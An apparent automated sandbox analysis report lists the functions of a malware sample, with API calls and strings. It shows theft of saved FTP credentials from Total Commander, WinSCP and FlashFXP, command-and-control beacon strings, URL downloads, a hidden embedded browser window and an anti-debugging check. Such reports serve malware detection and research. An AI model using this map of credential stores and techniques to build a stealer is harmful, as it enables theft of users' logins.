GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
HeapAlloc.KERNEL32(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,-000001FE,000000FF,?), ref: 00403681

Strings

port, xrefs: 004035F1
ftp://%s:%s@%s:%u, xrefs: 004036C3
pass, xrefs: 00403611
user, xrefs: 00403601

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfile$String$AllocHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3432043379-2696999094
Opcode ID: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

.8@, xrefs: 00408379
., xrefs: 004082B7
.8@, xrefs: 0040833F
., xrefs: 004082CE

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: .$.$.8@$.8@
API String ID: 2348139788-2639049386
Opcode ID: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 0040CD66 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040D0C4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040D0D9
UnhandledExceptionFilter.KERNEL32(0040E248), ref: 0040D0E4
GetCurrentProcess.KERNEL32(C0000409), ref: 0040D100
TerminateProcess.KERNEL32(00000000), ref: 0040D107

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction ID: 078c109d1665b9b830d76e00ceeb27c9797f204ae48b5850d213398ac2e03a3c
Opcode Fuzzy Hash: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction Fuzzy Hash: 7F21CEB8801244DFD700DF59F945A857BF4BB08385F0086BAE708E76B0E7B458808F0D

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181threadnetworkCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

\netprotdrvss.exe, xrefs: 0040B12D, 0040B293
begun.ru, xrefs: 0040B16A

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F
*total*commander*, xrefs: 00403CC9
*ghisler*, xrefs: 00403CD8
ftpininame, xrefs: 00403C41
$, xrefs: 00403CF9
#, xrefs: 00403D0E
*totalcmd*, xrefs: 00403CB7
&, xrefs: 00403D07
installdir, xrefs: 00403DA1

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 2046068145-3914982127
Opcode ID: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

Via: , xrefs: 004030ED
.html, xrefs: 00402FFE, 004031EE
none, xrefs: 00402F16
^client=, xrefs: 0040301A
^key=, xrefs: 0040305E
From: , xrefs: 004030C8
file, xrefs: 0040300F

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 79cd1330f744164cc704132905a94fc592a0dfc2489d9d56cff5d063718bdc77
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 79cd1330f744164cc704132905a94fc592a0dfc2489d9d56cff5d063718bdc77
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C20,?,00000000,00000008), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

hostname, xrefs: 00404586
password, xrefs: 004045B0
ftp://%s:%s@%s:%u, xrefs: 004046F3
username, xrefs: 004045A2
portnumber, xrefs: 00404594
SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: AllocCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3497950970-285550827
Opcode ID: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

http:, xrefs: 00409347
javascript, xrefs: 004093BA
+@, xrefs: 00409301

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,771B0F00), ref: 00407043
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(00000000), ref: 0040708F
InternetOpenUrlW.WININET(00000000,00000001,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(00000000), ref: 004070BB

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

Via: , xrefs: 0040533C
.html, xrefs: 004052B4
ftp, xrefs: 004052C5
CsM, xrefs: 004053B2
^key=, xrefs: 004052D0
hOA, xrefs: 00405305
From: , xrefs: 00405318

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-2333287219
Opcode ID: d8c307949237e19763c5e60e3dec01313537889ddc644ade6cf88722956defec
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: d8c307949237e19763c5e60e3dec01313537889ddc644ade6cf88722956defec
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

http, xrefs: 00408E1A
_self, xrefs: 00408ED5
+@, xrefs: 00408CB7

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: d8f59335e3977134d7c78f43a1f56087f7ef2e3c30fa3fc2b5598e0363074b87
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: d8f59335e3977134d7c78f43a1f56087f7ef2e3c30fa3fc2b5598e0363074b87
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182,?,0040B320,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

application/x-javascript, xrefs: 00406B68
text/javascript, xrefs: 00406BF3
text/html, xrefs: 00406B01
SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
GetWindowLongW.USER32(00000000,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

eventConn, xrefs: 0040A188
Shell_TrayWnd, xrefs: 0040A1CF

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 8616424921b6ce0bb56b9c9dfbc93343bf37786535cdacee7c7c77324956f8a5
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 8616424921b6ce0bb56b9c9dfbc93343bf37786535cdacee7c7c77324956f8a5
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

SOFTWARE\FlashFXP\3, xrefs: 0040375E
#, xrefs: 004037DC
datafolder, xrefs: 0040376D
*flashfxp*, xrefs: 004037CE
&, xrefs: 004037EA

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

</url>, xrefs: 00409917
</domain>, xrefs: 004099B8
<url>, xrefs: 0040991C
http://, xrefs: 00409941
<domain>, xrefs: 004099BD

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(75C0F6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: f1232823454a9de15ab73cfed205648ff3cd14be94bb6ef3f987156c3e0446fe
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: f1232823454a9de15ab73cfed205648ff3cd14be94bb6ef3f987156c3e0446fe
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

job^rev=%s^os=%s, xrefs: 0040ACDB
hOA, xrefs: 0040ACC0
d, xrefs: 0040ADB6
0, xrefs: 0040AD12
^rcn=1, xrefs: 0040AD37

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

